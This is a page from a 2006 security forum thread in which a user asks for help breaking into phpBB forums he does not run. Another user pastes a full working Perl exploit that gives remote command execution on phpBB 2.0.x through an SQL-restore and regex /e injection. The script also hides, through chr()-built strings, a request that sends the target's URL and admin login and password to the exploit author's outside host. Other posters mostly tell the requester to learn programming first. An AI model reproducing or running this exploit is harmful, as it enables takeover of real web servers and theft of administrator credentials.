 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 Posted: Sat Apr 22, 2006 8:45 pm |
 |
|
| daniel000 |
| Regular user |
 |
|
| Joined: Apr 21, 2006 |
| Posts: 6 |
|
|
|
 |
|
 |
|
I can't understand what's going on here!!
I'm not who this guy thinks I am!!!
Anyway, is there a way to defend against attacks? |
|
|
|
|
| Posted: Mon Apr 24, 2006 11:52 am |
|
|
| Benna |
| Regular user |
 |
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
semplice........cm hai fatto kiudere il tuo forum.
you have locked your forum,daniel?
help me.
i wanna to hack a 2.0.27 on my computer (i have installed apache test server)
 |
|
|
|
|
| Posted: Mon Apr 24, 2006 11:55 am |
|
|
| 0x01 |
| Regular user |
|
|
| Joined: Mar 31, 2006 |
| Posts: 7 |
|
|
|
|
|
|
|
| SicKn3sS wrote: | i just hacked a phpbb 2.0.17 site and downloaded the database and i dont get any passwords i just see this kind of stuff in the info for users:
|
how to hack an phpbb2.0.17?
you use an exploit?
what u're using for this hack?
mfg |
|
|
|
|
|
 |
|
 |
| Posted: Mon Apr 24, 2006 3:36 pm |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
i wanna be admin of the forum.
i think this is an exploit.
| Code: | #!/usr/bin/perl
## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included ;)
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
getopts("u:L:P:i:p:o:");
$url = $opt_u;
$login = $opt_L;
$password = $opt_P;
$id = $opt_i || 2;
$prefix = $opt_p || 'phpbb_';
$proxy = $opt_o;
if(!$url || !$login || !$password){&usage;}
$|++;
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit a2e2#20022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
$res = $xpl->post($url.'login.php',
[
"username" => "$login",
"password" => "$password",
"autologin" => "on",
"admin" => "1",
"login" => "Log in",
],"User-Agent" => "$ids");
$cookie_jar->extract_cookies($res);
if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}
sub run($)
{
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
@result = split(/\n/,$res->content);
$data = '';
$on = $start = $end = 0;
for (@result)
{
if (/_END_/) { $end = 1; last; }
if ($on) { $data .= $_."\n"; }
if (/_START_/) { $on = 1; $start = 1; }
}
if($start&&$end) { print $data."\r\n"; }
}
sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
,"User-Agent" => "$ids");
}
sub usage()
{
&about();
print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
print " Options:\r\n";
print " -u [URL] - path to forum e.g. http://site/forum/\r\n";
print " -L [login] - admin login\r\n";
print " -P [password] - admin password\r\n";
print " -i [id] - admin id (optional, default 2)\r\n";
print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
print " -o [host:port] - proxy (optional)\r\n";
exit();
}
sub about()
{
print "\\=-----------------------------------=/\r\n";
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
print "| version 2 (user_sig_bbcode_uid) |\r\n";
print "/=-----------------------------------=\\\r\n";
return 'http://rst.void.ru';
}
# milw0rm.com [2006-04-10] |
|
|
|
|
|
|
|
|
|
| Posted: Mon Apr 24, 2006 4:10 pm |
|
|
| Chb |
| Valuable expert |
 |
|
| Joined: Jul 23, 2005 |
| Posts: 206 |
| Location: Germany |
|
|
|
|
|
|
| Yes, it is an exploit. But you cannot use it because you aren't admin. If you read the script you'll understand why. |
|
|
|
|
| Posted: Mon Apr 24, 2006 7:13 pm |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
ok.
sorry but i haven't not readed the perl script because i am not an expert. 
do you have a script for be an admin of 2.0.17?
tanks |
|
|
|
|
| Posted: Tue Apr 25, 2006 4:44 am |
|
|
| Chb |
| Valuable expert |
|
|
| Joined: Jul 23, 2005 |
| Posts: 206 |
| Location: Germany |
|
|
|
|
|
|
| Benna wrote: | ok.
sorry but i haven't not readed the perl script because i am not an expert.
do you have a script for be an admin of 2.0.17?
tanks |
Damned... You don't need to be expert for reading a perlscript... But in my humble oppinion drop cracking if you aren't able to code/script in some languages. |
|
|
|
|
| Posted: Tue Apr 25, 2006 10:41 am |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
damned....damned....damned.....
you're not funny 
if you want to help me ok...
but if you don't want to help me ....
ok,ok i am a stupid and i don't have readed the script....
do you know a script for be the admin of a 2.0.17? |
|
|
|
|
|
|
|
|
| Posted: Tue Apr 25, 2006 12:54 pm |
|
|
| Chb |
| Valuable expert |
|
|
| Joined: Jul 23, 2005 |
| Posts: 206 |
| Location: Germany |
|
|
|
|
|
|
| Benna wrote: | damned....damned....damned.....
you're not funny |
Oh, I am if you get to know me.
| Quote: | if you want to help me ok...
but if you don't want to help me .... |
Wasn't that a help? I told you, you should learn programming or scripting to:
a) know how the bugs are created
b) know why they are bugs
c) script/program own exploits
d) know how to use/google for exploits.
| Quote: | | ok,ok i am a stupid |
Did I say that? Nope.
| Quote: | | and i don't have readed the script.... |
That's right. Shame on you!  Just a joke. 
| Quote: | | do you know a script for be the admin of a 2.0.17? |
Why don't take a search? For example in this board or at Google... |
|
|
|
|
|
|
|
|
| Posted: Tue Apr 25, 2006 5:15 pm |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
this is not a help.
when i have say to you the address of the exploit you posted:
| Chb wrote: | Damned!
You don't need double and triple postings for help! But when you don't get an answer: maybe it has a reason?
When your exploit isn't working then it might be possible that your victim fixed this vulnerable. Or the environment of your victim is not like this where your exploit would work.
So try another one.
PS: Nope, I'm not angry. Just don't make double and triple postings, okay? |
you have wroted this only 3 years left....
| Chb wrote: | | Yes, it is an exploit. But you cannot use it because you aren't admin. If you read the script you'll understand why. |
|
|
|
|
|
|
|
|
|
| Posted: Wed Apr 26, 2006 6:37 am |
|
|
| daemon_azazel |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 17 |
|
|
|
|
|
|
|
benna,
got a time to read entire thread and must say
you're pretty annoying boy.
next time pls appreciate that someone is wasting
the time to help you and don't pick up on chb!
really pls understand that if you wanna be a hacker
one day, you MUST have at least basic knowledge
of php, sql and at perl as well... |
|
|
|
|
| Posted: Wed Apr 26, 2006 11:50 am |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
i have the
| Quote: | basic knowledge
of php, sql and at perl as well... |
not good but i have the
| Quote: | basic knowledge
of php, sql and at perl as well... |
if i am an annoying boy, you're what?
i wanna only a help for hack a forum......
because i am a newbie i am a | Quote: | | pretty annoying boy. |
|
|
|
|
|
|
|
|
|
| Posted: Wed Apr 26, 2006 2:02 pm |
|
|
| Chb |
| Valuable expert |
|
|
| Joined: Jul 23, 2005 |
| Posts: 206 |
| Location: Germany |
|
|
|
|
|
|
| Benna wrote: | i have the
| Quote: | basic knowledge
of php, sql and at perl as well... |
not good but i have the |
I don't think so... But this is only my oppinion and you don't need to pick up this comment. You should read at least the five first lines of an script to see what it's doing. 
| Quote: | | if i am an annoying boy, you're what? |
He's a boy who agrees with me.
| Quote: | | i wanna only a help for hack a forum...... |
Excuse me, crack. I don't think you "want to show an admin vulnerabilities in his board"... But if it's the trueth I think I have to change my point of view.
| Quote: | because i am a newbie i am a | Quote: | | pretty annoying boy. |
|
It's never too late for personal insights.
However, I won't answer in this topic anymore. If my help is undesired... I hope, Benna, you'll get what you want, that you'll be happy and you may understand me sometime... |
|
|
|
|
|
|
|
|
| Posted: Wed Apr 26, 2006 5:23 pm |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
your help is desired......
but i want help.
i am from italy and i not write or reat english very well.
i have readed the script, but i haven't understanded the script because
I-am-from-italy.
i have searched on this board, on google and i have downloaded only script useless or viruses.
help me please.
the forum now is a 2.0.20 but is in installation phase.
can i crack the installation phase or see the mysql password? |
|
|
|
|
| Posted: Fri Apr 28, 2006 12:21 pm |
|
|
| Benna |
| Regular user |
|
|
| Joined: Apr 16, 2006 |
| Posts: 20 |
|
|
|
|
|
|
|
allora????
ci sei o ci fai? |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 3
Goto page Previous1, 2, 3Next
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 64
Members: 0
Total: 64
